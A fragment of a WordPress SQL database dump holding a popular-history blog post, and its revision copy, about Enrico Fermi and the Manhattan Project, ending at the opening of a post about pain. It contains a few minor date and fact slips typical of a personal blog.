weren’t, though). But they feel confident in their calculations and their safety precautions, even though both are based on science not even half a decade old. And so, on December 2, 1941, the cadmium control rods are slowly withdrawn from this large, radioactive pile, inch by inch, as a small audience of scientists stands around the squash court and listens to the tick of the Geiger counter. One scientist stands with an axe, ready to cut the emergency control rod, the “zip”, if the reaction goes critical beyond control. Another scientist stands ready on a ladder with a bucket of cadmium nitrate, a last ditch safety measure that would have ruined tons of uranium and graphite if it had to be used.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The control rods start to be removed at 9:54 in the morning. As each control rod is slowly withdrawn, and as the detector’s frequency slowly ticks up, Fermi furiously calculates how close the pile is to criticality with his slide rule. After a brief false alarm from the zip and a break for lunch, Fermi calmly announces at 3:54 in the afternoon that the reaction has gone critical. From there on, the electric current from the boron trifluoride detector rapidly increases, until 28 minutes later when the current passes the predetermined threshold of half a watt, enough to power a dim lightbulb. The scientist in charge of the zip releases it, and it slides down into its slot in the pile, ending the chain reaction. Fermi finishes his calculations, confirming that they had just released the power of the atom in a University of Chicago squash court. Humanity would never be the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that was Fermi’s November/December 1942. By September 1944, Fermi had become the scientific architect of the Hanford site, which was designed to be an actual plutonium production site, this time on the banks of the Columbia River in Washington. It had been built at breakneck speed by DuPont at a profit of $1 (DuPont was afraid of being once again seen as a “merchant of death” after their disastrous WWI publicity), from government acquisition of the 400,000+ acres in early 1943, to the hiring and housing of 45,000 construction workers by June 1944, to the completion of the plutonium reactor itself by September 1944.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fermi himself was the one who inserted the first uranium fuel slug into the B reactor, and he and fellow physicist John Wheeler were likewise the ones tasked with discovering why the reactor shut down just a few days later and the solution to this shutdown. The problem turned out to be neutron poisoning from xenon, a fission product of plutonium, and the solution turned out to be just more uranium, roughly speaking. But still, imagine: Fermi, just about 7 years gone from Mussolini’s Italy, 6 years from his Nobel Prize awarded for the wrong discovery, 4 years from burying his gold in his backyard in New Jersey, a small, middle-aged Italian man standing in front of an entire factory of thousands of American workers waiting anxiously for him to finish his calculations with his ever present slide rule and figure out what exactly was killing their plutonium production and preventing America’s creation and use of the greatest weapon the world had ever seen. What must he have thought?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!dgNK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e1ab1b8-f68b-4268-818f-30ada12a4191_1024x771.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!dgNK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e1ab1b8-f68b-4268-818f-30ada12a4191_1024x771.jpeg\" alt=\"Hanford\'s B Reactor: The Crucible of the Atomic Age\" title=\"Hanford\'s B Reactor: The Crucible of the Atomic Age\"/></a><figcaption class=\"wp-element-caption\">The B reactor. Horizontal tubes contain uranium slugs as fuel, vertical tubes contain cadmium control rods. Graphite is used as a moderator throughout to slow down neutrons escaping from the uranium and increase the likelihood of elastic chain reaction. The slugs slowly progress through the horizontal tubes, and then are ejected into a pool of water for cooling. They are then chemically processed in a separate plant to remove the plutonium from the uranium, exploiting plutonium’s tendency to change oxidation states.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>As far as I can tell, not much beyond physics. We get some small hint of some political thought from Fermi’s suggestion to Robert Oppenheimer in April 1943 that they could use radioactive byproducts to contaminate the German food supply, if the Germans developed the atomic bomb before the Americans did. That suggests some worry on his part, some acknowledgement that lives depended on his calculations in more ways than one. But, beyond that, did Fermi ever stop to think about how weird this was? How exceptional his life had become? What hinge of history his life swung at, how he was probably one of the most important people in the world at that time?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But his reliability was part of who he was. He just did the things that were important, and interesting, and that was that. And so, as one would expect, he ended his wartime experience at the Manhattan Project, the most important scientific project in the world, as the director of arguably the most interesting division, F Division, short for, what else, “Fermi Division”. It was in charge of the fusion bomb, the research reactor, and general fission/fusion research. Fermi had a diverse set of experiences there: supervising critical research, learning to swing dance, and calculating the yield of the atomic bomb by dropping strips of paper into the blast wave and seeing how far they were blown.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fermi’s brief postwar career was unremarkable by his standards. He consulted on the fusion bomb, although he opposed its development on moral and technical grounds; advised several future Nobel Prize winners; carried out important research into particle physics and cosmic radiation; and wrote on the Fermi paradox of extraterrestrial life. And then he died, relatively young at age 53, from the cancer that he always assumed would come as a result of his atomic work. His wife outlived him by 20 some years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that was it for Fermi. He was born, had an insanely huge impact on physics, science, and the geopolitical balance of the world, and then he died. He wasn’t a statesman, like Einstein; a philosopher, like Oppenheimer; or a figurehead, like Bohr. He was just a guy who really loved physics, science, and his Jewish wife, and that decided his life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I can’t really say why I find Fermi so fascinating, except that I’ve been thinking a lot about the Manhattan Project recently and what it means. Nuclear power plants are, at last, coming back in vogue after their nadir. Russia is threatening, once again, to launch nuclear missiles at Europe. Trump is claiming that Elon Musk’s DOGE is his Manhattan Project, while a US government agency is explicitly calling for an AI Manhattan Project. I’m not sure if they understand the way in which the first Manhattan Project resulted from an arms race with Germany and ran the risk of us accidentally blowing up Chicago, with only a small team of physicists (including, crucially, a recent immigrant from a country we were literally at war with) to prevent it from happening. But they probably don’t care.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe it’s because the world once again feels on the cusp of a change. I slowly have come around to the idea that this new artificial intelligence revolution does matter, fighting against my natural inclination to believe that nothing ever happens. Biology, chemistry, knowledge work, drone warfare: AI is upending all of it. And it’s tempting to turn to “crybaby” Oppenheimer, as Truman called him, to make sense of this, who simultaneously hated and loved the bomb he worked on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I know people working on AI, serious people, and I don’t think most of them are like this. I don’t think most of them think about the larger implications at all, not in a deep way. In fact, I think many of them that claim to do so cynically, or at least without deep moral conviction (i.e. Musk, Altman). They’re not stupid or unaware. I think most of them are just like Fermi, though, and find themselves irresistibly drawn to the most fascinating work going on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And so through Fermi I see our present age. Stateless geniuses who relentlessly pursue what\'s important, forever useful, dragging the rest of humanity into a new age. Heroes? Villains? It depends on your perspective. Regardless, you know their work’s going to be interesting.</p>\n<!-- /wp:paragraph -->','The Manhattan Project through the eyes of Fermi','','publish','closed','closed','','the-manhattan-project-through-the-eyes-of-fermi','','','2025-07-03 19:31:52','2025-07-03 19:31:52','',0,'https://trevorklee.com/?page_id=502',0,'page','',0),
(503,1,'2025-07-03 19:31:52','2025-07-03 19:31:52','<!-- wp:paragraph -->\n<p>It’s hard to grasp the enormity of the development of the atomic bomb. The most absorbing scientific problem in the world, the problem of the makeup of the universe itself, turned out to hold the key to almost infinite energy and almost infinite destruction. This discovery coincided exactly with the largest war the world had ever known, in which the greatest political idea of the modern world, liberal democracy, faced its greatest threat, fascism. The realization of this on all sides set off an arms race, which the industrialized United States literally moved mountains to win. Then the United States became, as everyone expected, the undisputed heavyweight champion of the world, for a brief few shining years, before the Soviet Union entered the atomic fray and launched the world into existential uncertainty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a lot. And the personalities are just as big, even just on the scientific side: tortured poet Oppenheimer; shy, fatherly Bohr; his prodigal son-turned-Nazi Heisenberg; cerebral, impatient Szilard; retired, legendary Einstein; Martian genius von Neumann. All of them together, interacting, colliding and bouncing off each other like particles in a reactor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To begin to grasp all facets of this monumental project requires a mammoth tome. Richard Rhodes’s&nbsp;<em>The Making of the Atomic Bomb</em>, which I’ve been reading recently, is a good attempt. It’s 700+ pages and choc-a-bloc full of technical and historical details. I think it’s incredible. However, it’s so large and complex that even relating its version of the development of the atomic bomb is intimidating for a blog such as mine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I’m not going to do that. Instead, I’m going to take a crosscut of the development of the atomic bomb through one of the easier-to-digest personages of the atomic bomb sage: Enrico Fermi. Fermi, although brilliant, was an understandable sort of brilliant. He was a largely self-taught nerd who loved physics and pursued it throughout his life in theoretical and experimental form. He was not so political as Oppenheimer, alien as von Neumann, or prickly as Teller. He reminds me a lot of the nerds I know around Cambridge today, actually. Just, you know, a Nobel Prize winner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!FtYd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73ea4517-0a71-4092-ab00-021ab00c7f5a_768x346.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!FtYd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73ea4517-0a71-4092-ab00-021ab00c7f5a_768x346.jpeg\" alt=\"Enrico Fermi: The Man Who Built the World\'s First Nuclear Reactor\" title=\"Enrico Fermi: The Man Who Built the World\'s First Nuclear Reactor\"/></a><figcaption class=\"wp-element-caption\">Enrico Fermi, the man himself.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Maybe an anecdote would help illustrate my point, before I start going through his life. Every great scientist has an anecdote that characterizes him (or her): Oppenheimer’s poisoned apple, Einstein’s days as a patent clerk, Feynman’s lockpicking. Fermi’s characteristic anecdote, for my reckoning, comes from Rhodes’s account of Fermi’s time at Los Alamos. Los Alamos was in the desert of New Mexico, and, as a lark, the scientists there adopted much of the dress and activities of cowboys, including swing dancing. Fermi, awkward nerd that he was, had no idea how to swing dance, and spent an entire night sitting on the edge of the dance and furiously trying to work out the pattern in his head. At some point, he got up, asked the instructor (one of the scientist’s wives) to dance with him, and, much to her surprise, carefully led her through all the steps with grim determination. This was Fermi in a nutshell: identify what’s interesting, work furiously to understand it, and then end up at the front of it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Enrico Fermi was born and trained in Italy in the beginning of the 20th century. Italy was a relative backwater of physics, at least compared to Germany, Britain, or America. As such, Fermi, a prodigy from a young age, quickly surpassed his teachers, and was given free range of the physics laboratory from age 19 on. Fermi, brilliant and mathematically inclined, turned to the most interesting problems of his age: general relativity, quantum mechanics, and atomic physics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>His earliest works were both experimental and theoretical, signs of his flexibility to come. After leading his fellow classmates, Nello Carrara and Franco Rasetti, to create an X-ray photograph of a crystal, he published his first scientific works on trying to unite electromagnetism and gravity, following Einstein’s footsteps. Fermi, as an unknown 20 year old, was forced to publish in an Italian journal, but one of the papers was well-regarded enough that it was translated into German as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!_-7u!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8f9fb8-abdf-4d83-bafe-e61fb1c3c47c_749x384.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!_-7u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8f9fb8-abdf-4d83-bafe-e61fb1c3c47c_749x384.jpeg\" alt=\"Structure of DNA | BioNinja\" title=\"Structure of DNA | BioNinja\"/></a><figcaption class=\"wp-element-caption\">The x-ray photograph of DNA produced by Rosalind Franklin that Watson and Crick used to create their famous paper, robbing Franklin of the credit. This is a much more sophisticated use of x-ray crystallography than Fermi’s early attempts, because crystallizing organic material is much more difficult than producing an x-ray photograph of an element or mineral.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>After graduation, Fermi spent about a year studying in Germany, the center of physics at that time. Here, he studied under Max Born, worked with Heisenberg, and met both Hendrik Lorentz (of Lorentz transformation fame) and Albert Einstein. If this seems like a lot to pack into a year for a kid fresh out of college, then you’re starting to get an idea of Fermi’s uncanny ability to be in the thick of things, as well as exactly how small the physics community was. By the way, ironically, Fermi considered this one of the few failures of his life, as it was one of the few times in his life he wasn’t recognized as the undisputed smartest person in the room. But that was Fermi.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By his mid 20s, which were also the mid-1920s (funny how that worked), Fermi had moved back to Italy and began to seriously examine quantum mechanics, paralleling the field’s heating up. Through a combination of theoretical and experimental work on gases, he discovered the existence of fermions, particles that obey the exclusion principle that two particles can’t occupy the same quantum state. Around the same time, he applied to become one of the first professors of theoretical physics in Italy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fermi’s star kept rising. By 29, he was appointed a member of the Royal Academy of Italy by Mussolini himself. Fermi, largely apolitical, joined the Fascist party soon after, likely out of convenience. He published a popular Italian textbook on atomic physics, hired boatloads of research assistants and graduate students, and even began attracting foreigners to study physics with him in Italy, like the German Hans Bethe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the focus of science turned to the forces of the atom, so too did Fermi’s. He postulated the existence of the neutrino, then turned to see if he could determine the makeup of the atom. With his research group, the Via Panisperna boys, he set up a clever experiment to induce radioactivity in different elements. He and his group assumed that, by inducing radioactivity, they had transmuted old elements into new, heavier elements (the transuranics), but they had actually discovered radioactive decay by forcing heavier elements to decay into a mixture of lighter elements, arguably a more important discovery. Unfortunately, in those heady times, by the time they figured that out in 1938, 4 years later, Fermi was already receiving the Nobel Prize for his “discovery of the transuranics”, and he had to add a footnote to his Nobel Prize speech that he hadn’t, in fact, done that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, as Fermi’s rapid 4 year journey from publication to Prize indicated, this was an exciting time for physics. Around the same time, Fermi discovered slow capture of neutrons, a key part of the development of the atomic bomb, along with his experimental confirmation of nuclear fission. Unfortunately, this was an exciting time for Fermi’s personal life, too, as Mussolini decided to impress Hitler by suddenly instituting racial laws in 1938 banning Jews from government work and education. Although Fermi wasn’t Jewish, his wife and many of his physics colleagues were, and even Fermi saw the writing on the wall that things were only going to get worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, Fermi and his family escaped to America. As befitting Fermi, this was actually pretty easy. He didn’t have the dramatic rowboat escape of Niels Bohr and his son, Aage, or, for that matter, Bohr’s beneficial humanitarian impact on the situation of Jews in his homeland. Fermi just sailed directly from the Nobel Prize ceremony to America and set up work at Columbia in 1939, just in time to help make the atomic bomb for his new country.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, it wasn’t just Fermi who had figured out that radioactive decay was occurring with induced radioactivity, and that might lead to a chain reaction that would ultimately result in an atomic bomb. By this point, every physicist had realized that. In fact, Szilard, the Hungarian physicist and boy genius (who famously did his best thinking in the bath), had realized it all the way back in 1933, secretly patented the idea of a chain reaction in 1934, and had convinced Albert Einstein to convey a letter to FDR by August 1939 warning him of the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fermi arrived in America in the middle of all of this excitement, along with a bunch of other mostly Jewish European physicists who had wisely escaped their increasingly antisemitic homelands. Fermi, like everyone else who wasn’t a Nazi (e.g. not Heisenberg), had come to the conclusion that, if anyone should have the atomic bomb, it definitely shouldn’t be Hitler. This probably provided some impetus for Fermi to shift his work towards engineering the atomic bomb. But, I think the bigger impetus for Fermi was that making the atomic bomb was by far the most exciting thing happening in physics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is how Fermi ended up causing atomic fission to happen in Columbia University, right in the middle of New York City: first in 1939 with a&nbsp;<a href=\"https://en.wikipedia.org/wiki/Cyclotron\">cyclotron</a>, and then, and more dramatically, in 1941, with six tons of uranium oxide and thirty tons of graphite carefully arranged into a “pile”. This proved not big enough to achieve criticality (i.e. become a self-sustaining nuclear reaction), although it was still a giant pile of radioactive material in one of the most populated places in New York City and the world, long after it was understood exactly how dangerous that was. Following this, Arthur Compton at the “Advisory Committee on Uranium”, which at that point was fully governmentally commissioned and funded, realized how big a mistake that was, asked Fermi to build his next, presumably critical pile somewhere else. Compton suggested/told Fermi to move it close to Chicago, which was where the plutonium part of the atomic bomb work had become concentrated. He suggested a nature preserve 20 miles outside of the city. Fermi, reluctantly, agreed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Picture this: it’s the fall of 1942. Germany was full bore into its simultaneous wars in Africa and Russia and bearing the strain. The Pearl Harbor sneak attack had happened one year earlier, and America was fully aware that it was going to have to enter its full might into the war. Fermi, his wife, and other refugees huddled in America, feeling grateful that they had avoided the horrors wreaked upon those who hadn’t managed to get out, but still unsure in their new country, burying gold in the backyard of their home in case they needed to leave in a hurry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then Arthur Compton, a genteel, Mennonite, Nobel Prize winning American physicist who Fermi barely knows, tells Fermi that he needs to move his giant uranium pile across the country. Money and manpower is no object. The only concern is speed and scientific accuracy. Fermi recognizes the need for speed and accuracy. It fits in with Fermi’s natural scientific drive. And when the blueblood Boston engineering firm contracted to develop the nature preserve into a nuclear testing site gets caught up in a labor dispute, Fermi proposes to move the uranium pile to the University of Chicago squash court instead. Compton agrees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So now Fermi, 3 years into being an American, is in charge of building the first self-sustaining nuclear reactor in the world in a city and university he’s been in for just a few months. And, based on his calculations, 30 high school dropout laborers under the direction of 6 scientists machine 45,000 graphite blocks enclosing 19,000 pieces of uranium and uranium oxide, held together in a giant somewhat spherical pile by wooden timbers and a 25 foot cubic balloon filled with carbon dioxide. This pile is meant to become a self-sustaining nuclear reactor, so it has some small chance of blowing up and making Chicago an uninhabitable wasteland.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!3Tw6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3a7bcf3-ac9f-4027-8075-0b7b3479b7bb_920x656.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!3Tw6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3a7bcf3-ac9f-4027-8075-0b7b3479b7bb_920x656.jpeg\" alt=\"Chicago Pile-1, the first reactor to reach criticality, was built under a  football field.\" title=\"Chicago Pile-1, the first reactor to reach criticality, was built under a  football field.\"/></a><figcaption class=\"wp-element-caption\">An artistic representation of Chicago Pile 1. They ended up not having to use the balloon of carbon dioxide or make a perfectly spherical pile, as the uranium and graphite were pure enough to not need the overengineering to go critical.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Fermi is aware of this risk, of course, as is Compton and the rest of the scientists (the laborers and the rest of Chicago probably weren’t, though). But they feel confident in their calculations and their safety precautions, even though both are based on science not even half a decade old. And so, on December 2, 1941, the cadmium control rods are slowly withdrawn from this large, radioactive pile, inch by inch, as a small audience of scientists stands around the squash court and listens to the tick of the Geiger counter. One scientist stands with an axe, ready to cut the emergency control rod, the “zip”, if the reaction goes critical beyond control. Another scientist stands ready on a ladder with a bucket of cadmium nitrate, a last ditch safety measure that would have ruined tons of uranium and graphite if it had to be used.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The control rods start to be removed at 9:54 in the morning. As each control rod is slowly withdrawn, and as the detector’s frequency slowly ticks up, Fermi furiously calculates how close the pile is to criticality with his slide rule. After a brief false alarm from the zip and a break for lunch, Fermi calmly announces at 3:54 in the afternoon that the reaction has gone critical. From there on, the electric current from the boron trifluoride detector rapidly increases, until 28 minutes later when the current passes the predetermined threshold of half a watt, enough to power a dim lightbulb. The scientist in charge of the zip releases it, and it slides down into its slot in the pile, ending the chain reaction. Fermi finishes his calculations, confirming that they had just released the power of the atom in a University of Chicago squash court. Humanity would never be the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that was Fermi’s November/December 1942. By September 1944, Fermi had become the scientific architect of the Hanford site, which was designed to be an actual plutonium production site, this time on the banks of the Columbia River in Washington. It had been built at breakneck speed by DuPont at a profit of $1 (DuPont was afraid of being once again seen as a “merchant of death” after their disastrous WWI publicity), from government acquisition of the 400,000+ acres in early 1943, to the hiring and housing of 45,000 construction workers by June 1944, to the completion of the plutonium reactor itself by September 1944.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fermi himself was the one who inserted the first uranium fuel slug into the B reactor, and he and fellow physicist John Wheeler were likewise the ones tasked with discovering why the reactor shut down just a few days later and the solution to this shutdown. The problem turned out to be neutron poisoning from xenon, a fission product of plutonium, and the solution turned out to be just more uranium, roughly speaking. But still, imagine: Fermi, just about 7 years gone from Mussolini’s Italy, 6 years from his Nobel Prize awarded for the wrong discovery, 4 years from burying his gold in his backyard in New Jersey, a small, middle-aged Italian man standing in front of an entire factory of thousands of American workers waiting anxiously for him to finish his calculations with his ever present slide rule and figure out what exactly was killing their plutonium production and preventing America’s creation and use of the greatest weapon the world had ever seen. What must he have thought?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!dgNK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e1ab1b8-f68b-4268-818f-30ada12a4191_1024x771.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!dgNK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e1ab1b8-f68b-4268-818f-30ada12a4191_1024x771.jpeg\" alt=\"Hanford\'s B Reactor: The Crucible of the Atomic Age\" title=\"Hanford\'s B Reactor: The Crucible of the Atomic Age\"/></a><figcaption class=\"wp-element-caption\">The B reactor. Horizontal tubes contain uranium slugs as fuel, vertical tubes contain cadmium control rods. Graphite is used as a moderator throughout to slow down neutrons escaping from the uranium and increase the likelihood of elastic chain reaction. The slugs slowly progress through the horizontal tubes, and then are ejected into a pool of water for cooling. They are then chemically processed in a separate plant to remove the plutonium from the uranium, exploiting plutonium’s tendency to change oxidation states.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>As far as I can tell, not much beyond physics. We get some small hint of some political thought from Fermi’s suggestion to Robert Oppenheimer in April 1943 that they could use radioactive byproducts to contaminate the German food supply, if the Germans developed the atomic bomb before the Americans did. That suggests some worry on his part, some acknowledgement that lives depended on his calculations in more ways than one. But, beyond that, did Fermi ever stop to think about how weird this was? How exceptional his life had become? What hinge of history his life swung at, how he was probably one of the most important people in the world at that time?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But his reliability was part of who he was. He just did the things that were important, and interesting, and that was that. And so, as one would expect, he ended his wartime experience at the Manhattan Project, the most important scientific project in the world, as the director of arguably the most interesting division, F Division, short for, what else, “Fermi Division”. It was in charge of the fusion bomb, the research reactor, and general fission/fusion research. Fermi had a diverse set of experiences there: supervising critical research, learning to swing dance, and calculating the yield of the atomic bomb by dropping strips of paper into the blast wave and seeing how far they were blown.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fermi’s brief postwar career was unremarkable by his standards. He consulted on the fusion bomb, although he opposed its development on moral and technical grounds; advised several future Nobel Prize winners; carried out important research into particle physics and cosmic radiation; and wrote on the Fermi paradox of extraterrestrial life. And then he died, relatively young at age 53, from the cancer that he always assumed would come as a result of his atomic work. His wife outlived him by 20 some years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that was it for Fermi. He was born, had an insanely huge impact on physics, science, and the geopolitical balance of the world, and then he died. He wasn’t a statesman, like Einstein; a philosopher, like Oppenheimer; or a figurehead, like Bohr. He was just a guy who really loved physics, science, and his Jewish wife, and that decided his life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I can’t really say why I find Fermi so fascinating, except that I’ve been thinking a lot about the Manhattan Project recently and what it means. Nuclear power plants are, at last, coming back in vogue after their nadir. Russia is threatening, once again, to launch nuclear missiles at Europe. Trump is claiming that Elon Musk’s DOGE is his Manhattan Project, while a US government agency is explicitly calling for an AI Manhattan Project. I’m not sure if they understand the way in which the first Manhattan Project resulted from an arms race with Germany and ran the risk of us accidentally blowing up Chicago, with only a small team of physicists (including, crucially, a recent immigrant from a country we were literally at war with) to prevent it from happening. But they probably don’t care.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe it’s because the world once again feels on the cusp of a change. I slowly have come around to the idea that this new artificial intelligence revolution does matter, fighting against my natural inclination to believe that nothing ever happens. Biology, chemistry, knowledge work, drone warfare: AI is upending all of it. And it’s tempting to turn to “crybaby” Oppenheimer, as Truman called him, to make sense of this, who simultaneously hated and loved the bomb he worked on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I know people working on AI, serious people, and I don’t think most of them are like this. I don’t think most of them think about the larger implications at all, not in a deep way. In fact, I think many of them that claim to do so cynically, or at least without deep moral conviction (i.e. Musk, Altman). They’re not stupid or unaware. I think most of them are just like Fermi, though, and find themselves irresistibly drawn to the most fascinating work going on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And so through Fermi I see our present age. Stateless geniuses who relentlessly pursue what\'s important, forever useful, dragging the rest of humanity into a new age. Heroes? Villains? It depends on your perspective. Regardless, you know their work’s going to be interesting.</p>\n<!-- /wp:paragraph -->','The Manhattan Project through the eyes of Fermi','','inherit','closed','closed','','502-revision-v1','','','2025-07-03 19:31:52','2025-07-03 19:31:52','',502,'https://trevorklee.com/?p=503',0,'revision','',0),
(504,1,'2025-07-03 19:32:31','2025-07-03 19:32:31','<!-- wp:paragraph -->\n<p>Reading that the UnitedHealth Group assassin was possibly radicalized by his back pain has got me thinking about pain again. Pain is bad, basically by definition. It’s shocking how bad it can be. We forget how bad it is once we’re no longer in pain, but, in the moment, getting stung by a hornet, stubbing a toe, or suffering the aftereffects of mall sushi is mind-numbing. It’s impossible to think about anything else.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve generally been pretty lucky with regards to avoiding pain, except for some unfortunate digestive issues in my early to mid 20s (a guide to treating them was actually&nbsp;<a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\">one of my first viral posts</a>). Still, the topic fascinates me. Pain is likely the oldest medical problem. We’ve been seeking out remedies for it for millenia, from alcohol to willow bark. Even&nbsp;<a href=\"https://www.nbcnews.com/science/science-news/orangutan-treated-own-wound-medicinal-plant-rcna150230\">orangutans try to self-medicate for it</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!QxZi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F76e43cfa-a285-4bca-a01f-ffc1a6cb120e_2377x1581.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!QxZi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F76e43cfa-a285-4bca-a01f-ffc1a6cb120e_2377x1581.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">An orangutan self-medicating for pain. I’ve had a lot of animal images as post headers recently. There’s supposedly an old Hollywood saying to never co-star with a child or animal, because they’re guaranteed to upstage you. Hopefully this orangutan doesn’t upstage my long blog post.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And yet, still, we don’t really understand how pain functions, what causes it, or how to stop it in a precise manner. Our best tools for diagnosing pain have not really progressed beyond asking people if they have pain, or, in the case of animals, observing them and seeing if they act like they’re in pain. Our best tools for stopping pain are either diffuse global treatments with tons of side effects, like opioids and 